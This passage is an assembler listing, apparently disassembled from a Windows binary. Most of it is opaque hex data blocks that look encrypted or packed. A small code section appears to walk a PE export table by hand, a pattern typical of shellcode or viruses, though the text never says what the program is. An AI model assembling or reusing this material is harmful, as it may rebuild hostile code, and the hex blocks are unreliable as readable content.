		dd 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h
		dd 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h
		dd 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h
		dd 56938815h, 0ABBE9D67h, 21CC3C4Dh, 9320h, 0E7FC7800h
		dd 7310271h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h,	71D5B58Dh
		dd 8D8D07FFh, 7FF71F4h,	0E983CF2Bh, 0E8C88B05h,	0Ch, 8353277Eh
		dd 0A953B5FDh, 0DB5CF494h, 58F88B66h, 0AC58589h, 0C08107FAh
		dd 6C42h, 1495958Bh, 0E06807FAh, 0E900001Ah, 11h, 0FA91E844h
		dd 417B8CF9h, 545F6684h, 217213Bh, 0BA665B5Fh, 30FF65BDh
		dd 21A59589h, 895907FAh, 0FA2D599Dh, 7EC18107h,	0F501CC2h
		dd 0C83h, 68C0F00h, 29000000h, 0FA2869B5h, 39F18107h, 8929D5CAh
		dd 0FA0FF19Dh, 86F18107h, 0F3260C2h, 889F9BFh, 0E88325B6h
		dd 48484801h, 83E5CA80h, 850F01EBh, 13h, 2DE9h,	89BE9800h
		dd 0D7DFC1A5h, 54897F16h, 898B77BDh, 0FA18818Dh, 0FF90E907h
		dd 7423FFFFh, 27E64E02h, 0F8AC148Bh, 0BC5EEEh, 840B76EEh
		dd 136C4F90h, 0E820E8B1h, 0CA8F6723h, 0FAD7014Eh, 12C00127h
		dd 4CA35F04h, 161475ADh, 163C45A5h, 120C013Dh, 0E6C55762h
		dd 573A0EF7h, 9708617Fh, 153A2CD9h, 0BA01CBAFh,	31B40E20h
		dd 93180126h, 1D3D85C2h, 77938A3Dh, 9104FB0Dh, 0E899F899h
		dd 96CF0123h, 1260011Eh, 0FA61014Eh, 12180127h,	4BCF5804h
		dd 16224DADh, 162745A5h, 1281013Dh, 5035065h, 94C14766h
		dd 9AE380C9h, 0FB5BC8C1h, 120C00FAh, 3BDB9CADh,	995406DEh
		dd 0E8AD2499h, 74905F23h, 9B97AE9Bh, 125A2520h,	121BE972h
		dd 4C2C0124h, 668F5FE7h, 56820500h, 12960500h, 44860124h
		dd 83E830E7h, 5FAD023Eh, 1D1FFB07h, 0EC284D25h,	0FA50014Eh
		dd 12030127h, 4C425F04h, 16E475ADh, 164445A5h, 12300132h
		dd 0EBDB5762h, 0AD038738h, 0E58767FCh, 0FB5BEDD0h, 12810121h
		dd 3AF62452h, 3EA082BDh, 0FA67014Eh, 12180127h,	4DCF5E04h
		dd 16227DADh, 162745A5h, 12810130h, 0CD035663h,	1AEBD9AFh
		dd 6A84F2A5h, 997E6BA6h, 1266FD6Ch, 1205E976h, 48230124h
		dd 46085BE7h, 56410500h, 127A0500h, 40720124h, 0CC8581E7h
		dd 0D3C8C8C3h, 152BBE42h, 243A8042h, 0E1050EDBh, 78C00124h
		dd 11885424h, 32300124h, 9B45C279h, 93082548h, 6022560h
		dd 57030124h, 3B1EC271h, 0E8CA9CB1h, 1BA18223h,	0FA67014Eh
		dd 12180127h, 4DCF5E04h, 16227DADh, 162745A5h, 1281013Ch
		dd 86035663h, 0DE6D2EF7h, 228594AFh, 2B9806DEh,	0A9890ECDh
		dd 78060124h, 11EB5024h, 32810124h, 9B99C27Dh, 93642568h
		dd 0A342560h, 53180124h, 0B68AC275h, 9B42B395h,	0E82138B9h
		dd 13C08A23h, 342ADBA5h, 19894F8Ch, 0BF300124h,	0F924B91Fh
		dd 7A71A7C9h, 0DA059DA5h, 12030BCCh, 0E4CF1324h, 6CD665Dh
		dd 0FA4B9F1Ah, 1230012Fh, 19EC80B4h, 0E52E1BF6h, 9B006453h
		dd 0E8236C91h, 91DF5F23h, 87CB04E5h, 159A2715h,	59A038A5h
		dd 97178A67h, 120C011Ah, 0FA56014Eh, 12030127h,	4A425904h
		dd 16E445ADh, 164445A5h, 1230013Eh, 0AFDB5164h,	0F714A939h
		dd 9F8BA316h, 15F94E42h, 14B6F6A5h, 1178313Bh, 9B600124h
		dd 0E81BFCB1h, 74F9FE23h, 996DDBAFh, 0E835F099h, 0D3BE8C23h
		dd 9F86FE56h, 0EDB545A9h, 9114B923h, 970300B6h,	15E215CDh
		dd 136CCE0Fh, 0E820E8B1h, 0CA8F6723h, 0FAD7014Eh, 12C00127h
		dd 4CA35F04h, 161475ADh, 5E983A5h, 0C08BA4F3h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DC35747h, 0B23363B5h
		dd 0E6E5847Eh, 68F0Fh, 9D310000h, 7FA23D5h, 13E8C38Bh
		dd 81000000h, 9783CD4Ah, 3F7C3335h, 28BCC6E6h, 7C26C82Fh
		dd 8D0FACA0h, 5, 86CE8166h, 11E959D9h, 0EA000000h, 0D061A3DCh
		dd 4F34D70Dh, 0EF801AA8h, 36E26D06h, 61C2C181h,	0E6810000h
		dd 69BD6E76h, 183C68h, 0D99D0B00h, 5A07FA02h, 0DB9BD0Bh
		dd 31FF07FAh, 0BE8h, 5ACEF00h, 0B9769CC8h, 0ADA4327Fh
		dd 5EFA8B66h, 5BF08158h, 894515C5h, 0FA2F2DB5h,	56F08107h
		dd 8018EF3Ch, 0C081F7F3h, 96AB9C2h, 0FE9h, 0E27BD700h
		dd 4AE93644h, 291DC4A5h, 0FB41683Dh, 85B52950h,	8F07FA32h
		dd 0DB50301h, 8307FA27h, 0DCB704E9h, 0F01EA83h,	1385h
		dd 999D8B00h, 0E907FA22h, 15h, 0EA5501F5h, 0B50EE8DBh
		dd 0FFFF85E9h, 9CDD2FFFh, 49069375h, 198D8DE4h,	8B07FF77h
		dd 0FA3295BDh, 0D98D8907h, 6607FA1Ch, 85C7D68Bh, 7FA31ADh
		dd 6DE0h, 3810Fh, 8B660000h, 0D985C7D8h, 7FA2Bh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 8AE5C352h, 15E04360h, 0F28B66DAh,	0FFC6BF0Fh
		dd 0FA0EEDB5h, 319D8B07h, 0FF07FA06h, 0FA179995h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 19671577h, 10E99758h, 0D0000000h, 0D28372A7h, 2B362662h
		dd 599BA930h, 6AC3DF4Dh, 1995FF00h, 8B07FA10h, 0E75DEBC0h
		dd 0E55FBDACh, 5063E46Fh, 0FAE62BCCh, 0C8302468h, 0E699DB41h
		dd 3FFAA7C8h, 0FF7B3294h, 7C0D5F15h, 67F5B171h,	0FF64AD39h
		dd 0A7571484h, 0FC0FD0D3h, 3E6605AAh, 0D1D80F8h, 7645E2C2h
		dd 81A33CB0h, 0FF4A4B05h, 3B8A6E6Ah, 664787CFh,	3EDA0068h
		dd 282C2584h, 163AF23Fh, 0D0ABD8E4h, 78218D8Dh,	9D2307FFh
		dd 7FA068Dh, 1CD98D89h,	9D3307FAh, 7FA02CDh, 31AD85C7h
		dd 58CC07FAh, 11E90000h, 0DA000000h, 28413722h,	0FDD15AFAh
		dd 8008B3CBh, 3B8EB88Dh, 2BD985C7h, 7FAh, 860F0000h, 4
		dd 28CBB866h, 3391B5FFh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 2682E6C3h, 59D8BD6h
		dd 0FF07FA1Fh, 0FA179995h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 663706E9h
		dd 6A05A9BFh, 1995FF00h, 8B07FA10h, 495AEBC0h, 8377A5CFh
		dd 0A451E581h, 8FBAF7Ah, 15B26878h, 7294FFF4h, 0C2063A82h
		dd 79DE17EDh, 0A86CDD3Fh, 761B4EB1h, 0DB4ADFBEh, 9DC5808h
		dd 68BA8E89h, 26DEFAE4h, 2E9D50BAh, 86F68523h, 44B2B1A4h
		dd 101F6A86h, 2CACA8A1h, 0C53B7881h, 0D309B6E7h, 99DEB772h
		dd 0BA1B9203h, 858D8D73h, 6A07FF79h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 5DBCC357h
		dd 3ABBC88Ah, 0F6BC74A5h, 8E9h,	0BACB7E00h, 4A9A6503h
		dd 0DB816688h
		dd 8D89E9FAh, 7FA1CD9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0B2C35141h, 84289BD2h, 8B99A25Fh, 0FA230DB5h
		dd 0AD85C707h, 6407FA31h, 0E9000069h, 11h, 0E3FF9922h
		dd 76303233h, 0A2CB06F5h, 6D4E6BCDh, 6880F9Ah, 2B000000h
		dd 0FA0E8D95h, 0D985C707h, 7FA2Bh, 0E9000000h, 6, 4E4E3A7Ah
		dd 0B5FFB61Ah, 7FA28EDh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 7C35545h, 21495DF5h, 8ACDDBD5h, 95FFFCD8h
		dd 7FA1799h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	17C35646h, 6AF9FD39h, 1995FF00h, 8B07FA10h, 491AEBC0h
		dd 0D634A074h, 0C8081A4h, 64393C06h, 10E098CBh,	0AD053BB8h
		dd 0D0D02EB8h, 0B0E902h, 66600000h, 0C2F6DA8Ch,	0C850F04h
		dd 3B000000h, 0FA08A585h, 36840F07h, 3B000000h,	0FA051585h
		dd 2A840F07h, 3B000000h, 0FA0AF585h, 1E840F07h,	3B000000h
		dd 0FA2ABD85h, 12840F07h, 83000000h, 0FA1DE9BDh, 840F0107h
		dd 5, 5FE9h, 3D08B00h, 0BA8B3C52h, 88h,	85784A8Bh, 49840FC9h
		dd 81000000h, 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch
		dd 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh
		dd 0Fh,	4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 0FA4F669Dh
		dd 5B807h, 0E3FF0000h, 0D00BC361h, 6FE9h, 7D5BBC00h, 6E69570Bh
		dd 73776F64h, 20505820h, 63656843h, 2064656Bh, 6C697542h
		dd 6E452064h, 6F726976h, 6E656D6Eh, 202D2074h, 6C726570h
		dd 73657420h, 6C702E74h, 0Eh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5DBF11
; ---------------------------------------------------------------------------
		push	7FF7CACh
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FF7DB3h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FF7FCCh
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FF800Bh
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FF80BAh
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FF8170h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FF858Ah
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FF8858h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		push	7FF8971h
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		wait
		db	64h
		push	ecx
		retf	0EB23h
; ---------------------------------------------------------------------------
		db 0DCh, 55h, 0AEh
		dd 3DE46B52h, 0C66DF4CBh, 61FB823Bh, 8C35D072h,	18AD5E05h
		dd 0A510EA91h, 2F86771Eh, 850271A8h, 0EFE191C8h, 0D5BBEF28h
		dd 26996F56h, 0E21734F1h, 0E05D94E7h, 0E7E21723h, 0B0ED3883h
		dd 0F69120D9h, 942DD8BFh, 38898057h, 0BFC972B1h, 0F6FE3BB0h
		dd 78220F70h, 0DF1C2F3Eh, 2AB3FBA2h, 0FD48E3D2h, 0F8FE7BB2h
		dd 6AEF7C4Fh, 401E81Fh,	0DB269D69h, 5E65A140h, 0F02D78C3h
		dd 602FE81Dh, 0A01EFDCh, 898120BBh, 27429F3Ah, 9E09ED5Ch
		dd 70B57ED3h, 490CD0AAh, 0E8000000h, 1CD956D5h,	7CE7E217h
		dd 0A022D031h, 255FE1C6h, 0C4F941E8h, 0BEDE108Dh, 0FD48EF7Ch
		dd 0CF742D62h, 9601EFDCh, 85CD76CBh, 0F504D0AAh, 9D000000h
		dd 8ED4A2F4h, 8D0AA480h, 0EFDCC0D0h, 399AE530h,	0FD39C4DDh
		dd 6326F75h, 0A81DEED5h, 0EA7CAC0Dh, 8EA79CD8h,	0D28F0C43h
		dd 32E7E24Dh, 3AD3AAE7h, 0ECAB548Bh, 56E84CFAh,	6DF4B12Eh
		dd 954E7E2h, 0FAE81BEh,	0F930CBF2h, 6E40FD7Ah, 55A0E7E2h
		dd 0F9C84118h, 774EBF5Eh, 3FCAB1F0h, 63A0EB86h,	0E272F2F6h
		dd 962FDEE7h, 2091680Fh, 99D61685h, 33827B62h, 0A1104D98h
		dd 7C942224h, 77876EEFh, 1D5AA540h, 83FA81CCh, 52CF063Bh
		dd 0F770F675h, 0AC93CA15h, 0BE425251h, 8CEA3AA6h, 0F613BA41h
		dd 69B791CFh, 88532F17h, 0DA545h, 0CFE61900h, 5A69A148h
		dd 0E9D02CD3h, 7245BB62h, 0B944EBh, 4EF4DF79h, 0DC830AB3h
		dd 680F962Fh, 0F59C2392h, 0EF26AD04h, 93460380h, 6DA6EFE1h
		dd 0CC2CD539h, 208F2892h, 19A860FFh, 1FF6337Eh,	0AD54DBE2h
		dd 0E2DE655Ch, 0B7345D9Dh, 0E7E216FAh, 8DC40F5Ah, 7C1FDE10h
		dd 62FD48EFh, 0DC30742Dh, 0CB9601EFh, 0AA24CD76h, 128F0ED0h
		dd 0EFDC2455h, 0B42D6AB5h, 0E1h, 259C6D90h, 911EEB8Ah
		dd 2786A562h, 811C67F3h, 0E316484Ch, 0ECC534E7h, 604FBE65h
		dd 0CE70B5B4h, 5AF54045h, 7A58A3EBh, 0B5999E90h, 0DC4D8CEDh
		dd 847B02A7h, 0E11B0239h, 0BEDA3BD6h, 0EFF05A2Eh, 47B6F33Eh
		dd 9D24E1C8h, 45F1F360h, 0BE3DEF7Ch, 0DC468441h, 5C99E4EFh
		dd 0C239C00Bh, 910E457Ah, 0F77092E9h, 42C1F843h, 7C17AE5Bh
		dd 253FFC31h, 549FF7D9h, 44C1A817h, 0AC5F467Dh,	0F6337E19h
		dd 4C759037h, 17743A0Eh, 0B8FBC62Fh, 0C9Eh, 4FD6EF20h
		dd 0DA6150A8h, 69F0D733h, 0F2794CC2h, 8007BE4Bh, 0A855FDE6h
		dd 28E38A11h, 9D6F169Dh, 0DFCA32Ah, 87F62DB4h, 0E1944D0Ah
		dd 4074ADEFh, 5613EED5h, 2C7712ABh, 51A746E1h, 2D78C35Eh
		dd 0D5EC19F0h, 7144B79Eh, 8F4E8BD6h, 19A011E8h,	0D19C6D1Dh
		dd 1CEC8B3Ah, 88BF5AA5h, 16CF8C09h, 0E42FE7E2h,	8839D0A7h
		dd 8D1FA851h, 84F88A59h, 1813D04Dh, 2873E7E2h, 75B52CEBh
		dd 0B6840138h, 3AEF7C46h, 49813EBBh, 0AAE1EFDCh, 0DC49702Dh
		dd 3A85D0EFh, 0C661ACFDh, 0DC48D891h, 6451AAEFh, 0E7DE2AC9h
		dd 0DAA5C04Ch, 49490683h, 5EA9EFDCh, 0C9B02F13h, 0A0EB863Dh
		dd 0E43D0863h, 0D0AA0F5Fh, 1172h, 0A5C94E00h, 62000008h
		dd 16A966E3h, 0BE09E7E2h, 5D9D5581h, 836AE920h,	56A13C8Bh
		dd 2D96AC19h, 0FD48EF7Ch, 7B4AC362h, 51039B44h,	3980D77h
		dd 0A96007C6h, 0C7467D18h, 0DC3D8D4Ah, 0B84EEDEFh, 0D41F6A05h
		dd 5E4B2A97h, 647F5718h, 7E2DDC99h, 51D4DC3h, 0F52C779Fh
		dd 0BEA0224Ch, 256298ACh, 774EBF66h, 48BEA5DCh,	0C23BDA75h
		dd 0FE6BA8F3h, 5720F544h, 0D2935EB9h, 5C038A3Bh, 34DD14ADh
		dd 0BA536B27h, 85A0AA0Bh, 0E91EF12Eh, 46B82DD3h, 17E7CE05h
		dd 3D0863A0h, 0F9308178h, 90CDF812h, 0CCD32AD1h, 0CACC5730h
		dd 56F13CD6h, 17EA7E7h,	57203F44h, 0D70E59A4h, 0BA3F385Ah
		dd 6097E25Eh, 3EA764E1h, 0BC075F1Ah, 8DA4C07Fh,	0C0F73474h
		dd 0B445A543h, 93104766h, 671445D6h, 69A0EB36h,	818E67C0h
		dd 7F919DABh, 57C0FD48h, 49AEAF2h, 0B1EE2E35h, 4B7A937Ah
		dd 90229F0Eh, 3A4CBF3Dh, 35D1B8EFh, 0F7E518Eh, 6C29A6CFh
		dd 464D1F3Eh, 88E902BBh, 870F2CE5h, 63AEF959h, 54B9AF2Ch
		dd 0E02B54B5h, 644BC2A9h, 22DF59D3h, 54B5009Bh,	98E35E23h
		dd 0A039E261h, 30B2142Fh, 6402BFF4h, 1762551Dh,	85741BDAh
		dd 376CEE2Ch, 0D19C4DDBh, 0A858Eh, 0EFC63900h, 7A49C168h
		dd 9B04CF3h, 9225DB82h,	2099640Bh, 6E14FF99h, 0FCA32A93h
		dd 882FB60Fh, 15BC4372h, 0F46CDE4h, 966623A0h, 8DC6EFE1h
		dd 259C6D59h, 0E07A7FE7h, 7DC08B20h, 0A46h, 0A72E8778h
		dd 32B90800h, 0C1487F8Bh, 4AD1E41Ah, 0D85F66A3h, 50AD553Eh
		dd 0C03BE269h, 35C76EF5h, 0A554FB82h, 0DF4E850Ch, 0E196A562h
		dd 98CC05EFh, 8A259C6Dh, 0BD531EEBh, 0ED246F0Ah, 0E216B370h
		dd 7DC813E7h, 0AAC3DAF6h, 79F62D62h, 0EF7C1CDBh, 1371B65Fh
		dd 0DAE864DFh, 0CA014C9Dh, 0BE4C27E3h, 167FBC07h, 30ECB3B1h
		dd 0EE7FBFB1h, 0C40FAA13h, 96E1D825h, 0CF9E05Fh, 790B78B5h
		dd 5B933A1h, 3CD7EE1Eh,	1886E0DBh, 8CD75C57h, 18B3FE4Fh
		dd 0F52C61A9h, 29168278h, 72A9F4C1h, 0BC43728Bh, 8FCDE415h
		dd 0F94F7899h, 971B5E29h, 27000009h, 0AF56DDD0h, 3AE1685Fh
		dd 0C970F7CEh, 52F98037h, 0ED870EB7h, 18A15CE6h, 0A411EA91h
		dd 3184761Dh, 0BB0A03AAh, 118EFD34h, 0EFE19754h, 0D5477BB4h
		dd 6AA71EEEh, 0B04B7A93h, 95CCFB11h, 0E6155CAEh, 9EE984CFh
		dd 0C865A261h, 4AE7E216h, 0D84F9CA1h, 0FD3A5FF0h, 0A2D91656h
		dd 79628825h, 0E9230AEFh, 58A443DEh, 307BC661h,	2057A2F3h
		dd 0F36724A1h, 7CC7EFE1h, 10E9D03Fh, 0F4DB1AA1h, 9B72AF06h
		dd 2DEA6762h, 8DEFE1F3h, 0D9C0F742h, 59F89322h,	2B7611A0h
		dd 0FEC541E0h, 0B24FEEC1h, 5239700Bh, 0F9D00DB8h, 1CA56003h
		dd 0A06793D1h, 5823271Fh, 8E115h, 932ADD00h, 1E95650Ch
		dd 0AD14F097h, 36897F26h, 0C4FD08AFh, 12B0A33Dh, 0A047CEF7h
		dd 2CD35A6Bh, 0B960E7DEh, 0B3EA7140h, 980AC744h, 316AEFE1h
		dd 259C6DFDh, 0A312EB8Ah, 0F29B0A08h, 465FE9F9h, 1C95648Ah
		dd 6E3994D1h, 0B067660Fh, 0D43E5AD1h, 7849C097h, 6F09B2F1h
		dd 4FB08BF8h, 0D36A1DEh, 0CED7508Ch, 66A31AE7h,	547EDh
		dd 8A078600h, 0E7E2BBCDh, 0BBD5920Fh, 0EA35E7E2h, 0E9DC32D1h
		dd 9D35619Eh, 6CE9205Dh, 0EF7900CFh, 6ED246Fh, 0C037BEF7h
		dd 70A7427Fh, 6DE28DC7h, 3D7A9188h, 58B4CD0h, 0BD88F359h
		dd 34837960h, 3DA78CF7h, 551A563Ch, 0F6000000h,	0E81F5A9Dh
		dd 172FEC69h, 448FE7E2h, 978A53E3h, 417EC808h, 0E39855D2h
		dd 0F3DAE7E2h, 7514AF16h, 0A7E42F86h, 3B700B56h, 801C6BEh
		dd 0C41DE853h, 0F738097Fh, 1B52h, 0F404EB00h, 3E9754D1h
		dd 0ACF7084Ah, 0EBFD0061h, 0B09EBEF7h, 0FCC94773h, 0A5000001h
		dd 0E81F5A9Dh, 0C32E273Fh, 0AD0EE1F0h, 0F7BECC62h, 0F7CA07CAh
		dd 6C73EC2h, 0AF7AE551h, 3D7DE152h, 1FE0AEh, 9DBC0000h
		dd 4F841F5Ah, 5105F386h, 0C41DE853h, 0AE3C547Fh, 3289755Ch
		dd 960F4C97h, 0A4h, 1F5A9D72h, 15C069E8h, 348ECFC3h, 0D18E4B80h
		dd 0A3EEE7E2h, 0BD7AF766h, 0FFE7E2D0h, 96C87A56h, 7388C6AAh
		dd 9096F742h, 0C3BC00CCh, 0F54091CEh, 5C23FBEh,	1DE7E231h
		dd 5750D914h, 63AEC741h, 270E8526h, 0BA4E1D4h, 34C53BF7h
		dd 0CB43E27Dh, 17AE5DFCh, 39041F7Ch, 0EC378E7Ch, 72CB96E9h
		dd 94D360C9h, 0DB18B096h, 50FFC370h, 32FED7h, 0D5DA0000h
		dd 68A518EEh
		dd 0C437EC1h, 0E216D48Fh, 0F8E934E7h, 9EF19BB4h, 39B57ED3h
		dd 9716D750h, 0E20F5D1Ah, 3572BDE7h, 7BCh, 14C99800h, 0A5000001h
		dd 0E6C9h, 0B9B96200h, 0E5F1D6Ah, 9D4874B1h, 4F841F5Ah
		dd 3D11D8DFh, 0E548137Eh, 5B2CE966h, 418C3D32h,	7DAA9904h
		dd 92278200h, 3000000h,	8F18EED5h, 0DA9AEF7Eh, 0CC095431h
		dd 70A7E225h, 0E2E436F3h, 0B04B96E7h, 0C2FEA27Bh, 47F06F07h
		dd 0C3508BA0h, 9E11E7D3h, 306DB803h, 0CCB30AD5h, 0A3EE8930h
		dd 20BBF204h, 62D98D5h,	0BBF7701Fh, 47h, 0A82CD597h, 81A20472h
		dd 24D7490h, 0A0D91EC5h, 3C898269h, 561390FFh, 0B6E7E27Dh
		dd 0C29BD06Bh, 0D444C297h, 51F08B22h, 0CF6E09B8h, 0A5F08B32h
		dd 0AB1EE90Ch, 0AB6148C7h, 0B984DF1Ch, 70AADB68h, 7F6BAh
		dd 0C9D20000h, 53h, 399C6DA5h, 9A447E90h, 0F82DCEE1h, 0E7E2E73Bh
		dd 55B1509Bh, 5EC236Eh,	0DB26C1F8h, 0DC96CB9Eh,	58E7E2E6h
		dd 0AA6322EDh, 9D98941Bh, 873ECB5Ah, 0E31E053Ch, 30749DDAh
		dd 0AD52862h, 0E211E2B5h, 92D60E7h, 0BAD75034h,	0FFFFFF03h
		dd 2AEC996h, 0D5A50000h, 6BA81DEEh, 0B14C6594h,	43CAFB12h
		dd 0E6638CCCh, 0E7E21729h, 9F2ED41h, 89A28368h,	3FBCF33Eh
		dd 0EF7C9639h, 3AF774ABh, 9AEFDCA6h, 6C55B04Fh,	0A03B86D1h
		dd 0DCA5B26Bh, 9D43FEFh, 0AAB68BB8h, 906950D0h,	0FE3B8621h
		dd 3C85h, 5D9D6100h, 836AE920h,	90FD3A8Dh, 0EF7C1F5Eh
		dd 0F1AE2BAAh, 51EFDC2Eh, 2EE09D1Ah, 0F540EFDCh, 0D11C6DAAh
		dd 2F480136h, 6AD5EFDCh, 25F1429Fh, 0DFD0D0AAh,	69000000h
		dd 0FE3B8A82h, 0D19C6DD2h, 0A6418C3Bh, 0D808C66Fh, 29DD21E8h
		dd 0F7B875F2h, 0CD18E7E2h, 754CB990h, 0F3C23BDAh, 0A8782158h
		dd 41188C9Bh, 53EEC736h, 0A980BD08h, 9DDA6150h,	0E7E29399h
		dd 0B63D7485h, 9C6EFF3Fh, 0F8438E29h, 9124DAC1h, 124AABF6h
		dd 395E6F7h, 50CD3C79h,	0EF767A26h, 7B3F1F80h, 9F86BB7Bh
		dd 0AC788E38h, 8539E08h, 0A61FEAD1h, 3F9E01Fh, 97CE19B4h
		dd 0DE2C5D1Ah, 3572BDEFh, 0DC1AA35Eh, 271C69A6h, 0C7549762h
		dd 0F7000004h, 7F26AD00h, 0AB1388Fh, 9940C7FEh,	22C95067h
		dd 0BD57DEE7h, 0E8D12CD6h, 7441BA61h, 1B446EDh,	8B3AD37Ah
		dd 0E15ECD04h, 0EFE19C24h, 0D5174B84h, 6AA71EEEh, 71397693h
		dd 6255A742h, 84000A01h, 0E11B0239h, 0B3F03BD6h, 5BC4DF4h
		dd 9C6D827Eh, 0F607EE25h, 3AD924BFh, 0E1B4F1C4h, 0F1AE2BAAh
		dd 51E7E216h, 1BF2C906h, 6CAC23AAh, 597BF82Fh, 3EF7C17h
		dd 31E81DB8h, 0A4EFDC18h, 761F7E49h, 2F01EA17h,	7D246159h
		dd 20C9003Dh, 0ECE14987h, 0B2215E3Bh, 76531335h, 0EB72BDF7h
		dd 0C0F73474h, 6D3DA643h, 0C4FB46FFh, 139A21DDh, 0D5CE17D6h
		dd 0EEB861FFh, 0F6B14A37h, 0B349205Dh, 88327D04h, 0E000000h
		dd 1CD956D5h, 7CE7E217h, 170BC845h, 206BE7E2h, 722B98D5h
		dd 74E7E217h, 0C36AF1CEh, 0CA498047h, 0E217904Dh, 68A5F0E7h
		dd 16A36095h, 90BFE7E2h, 0D38A67E7h, 0BA948574h, 568BEC57h
		dd 207BB859h, 4D749055h, 5D1A9716h, 0BDE7E27Dh,	7D4C0986h
		dd 61ACE7E2h, 0DB1AD916h, 4DAE07F4h, 0D37C6D60h, 0FE623B1h
		dd 0FA2FCAFDh, 0E7E24840h, 7E47127Dh, 226238Ch,	0BF264F82h
		dd 0C7AEED74h, 35218235h, 8567716Dh, 0D5709CD9h, 6A518EEh
		dd 0AC83C0F5h, 8730675Eh, 35D2F7A6h, 0D9ACE949h, 5AF5C03Ah
		dd 0D77245BBh, 58F3C238h, 0A415E0FBh, 9F8E37A6h, 10A9F95Ch
		dd 400B66A3h, 0A9308775h, 3C8B836Ah, 0AC1956A1h, 0E7E27F97h
		dd 505EE215h, 2D6FD750h, 4BFFFFFFh, 34D19C6Dh, 0BD53F28Dh
		dd 0D9246F0Ah, 0A554F38Eh, 0D956D50Ch, 0E7E2171Ch, 7692317Ch
		dd 0DC53124Fh, 0A9285F9Ch, 16F0AD2Ah, 550E7E2h,	0E21713D0h
		dd 0EB2873E7h, 31F9FF7Ch, 664DEF7Ch, 94E5229Bh,	9077AE49h
		dd 9E0B4879h, 0EFDC41E5h, 0E53C0772h, 0D0AA125Eh, 5973h
		dd 108D0C00h, 0EFDC3A53h, 0D1E814B3h, 9D1D4986h, 40E9205Dh
		dd 0D6CA702Eh, 619938B9h, 29A61552h, 0EF7C5CF7h, 18A15C43h
		dd 0A43F8ADBh, 0DC6CB66Fh, 0DD843EFh, 8231C9B0h, 5BC48E7h
		dd 97D41F6Ah, 0AA6B072Ch, 0C845C4D0h, 0EFDC610Bh, 8930CC6Bh
		dd 1B58A3EEh, 0D4A2h, 9C6D7E00h, 1EEB8A25h, 17813EBBh
		dd 96E1E7E2h, 0D079B04Bh, 0C06F4E2h, 6E4582D5h,	8F36D29Fh
		dd 0C972A944h, 87CC378h, 663D7AEAh, 58971E97h, 932E9571h
		dd 9A9E0B48h, 86E7E226h, 10B73E77h, 0BE2DC8F9h,	230A417Eh
		dd 0F843DEE9h, 95CF4CBBh, 0EFEF7C3Ah, 66A61DA4h, 3575F229h
		dd 9FF7709Eh, 0B79E1D54h, 823F744Bh, 5CF7D91Eh,	0AFFA13AAh
		dd 0E11C0372h, 5FAA51D8h, 7BD02866h, 0D9A42F17h, 1F996h
		dd 7B32C500h, 6BD4DF4h,	952CD87Fh, 1E91670Eh, 0AC15F097h
		dd 0FA988B25h, 882FB60Fh, 14BB4273h, 0A148CFE6h, 9BD25968h
		dd 9EF2AF2Ch, 1952EFE1h, 6F56D5E5h, 39F62B92h, 99E7E217h
		dd 1AB500FAh, 19E584CFh, 7FBC07A2h, 0DD645DA8h,	67EEC736h
		dd 205D9D6Bh, 0C1C16AE9h, 0A31AE7A2h, 0E4F02A42h, 1A083AA7h
		dd 2772EF7Dh, 299E578Ch, 0C02BEFDDh, 2E979CF5h,	0D82AD0ABh
		dd 6000000h, 8A259C6Dh,	0CA71EEBh, 0E21BD3D7h, 774EBFE7h
		dd 15AC5940h, 9B7219D8h, 0D8208F2Ah, 6ED6CA3h, 0C324BFF6h
		dd 0CD1505D5h, 55F43F85h, 2B7611A8h, 0B44781EEh, 2A1EF7Ch
		dd 1F96660Bh, 53EE3984h, 9F86BD08h, 7EF8596Ch, 0A83DDAD7h
		dd 7EF5B4F1h, 4BCA013Eh, 3ECA9764h, 56A13C87h, 8DC7AC19h
		dd 7259F770h, 0F2912C99h, 0C813AE17h, 0A4EF407Dh, 0F26FEE6Dh
		dd 0F7D92035h, 2BC6F90Fh, 0D228C7E0h, 845B98E3h, 1AD75479h
		dd 7AF7D920h, 0B65DE42Fh, 0FA34724Bh, 0A62F1775h, 0E098DBh
		dd 29DE0000h, 96660D94h, 15F1981Fh, 8E8027AEh, 0FC09B037h
		dd 0BFA43EC5h, 48CFF613h, 0D45B6AA1h, 61E8DF2Dh, 0EB7243BAh
		dd 0BC845B4h, 6BEFE1A0h, 906DFE32h, 2FBA229h, 6D302CB3h
		dd 538A259Ch, 3BD09D6Ch, 59A4EF8Ah, 0FDB4451Ch,	96BFFF76h
		dd 34695CAFh, 0E7E21777h, 0A418CD7h, 7900F48Dh,	662B8CEFh
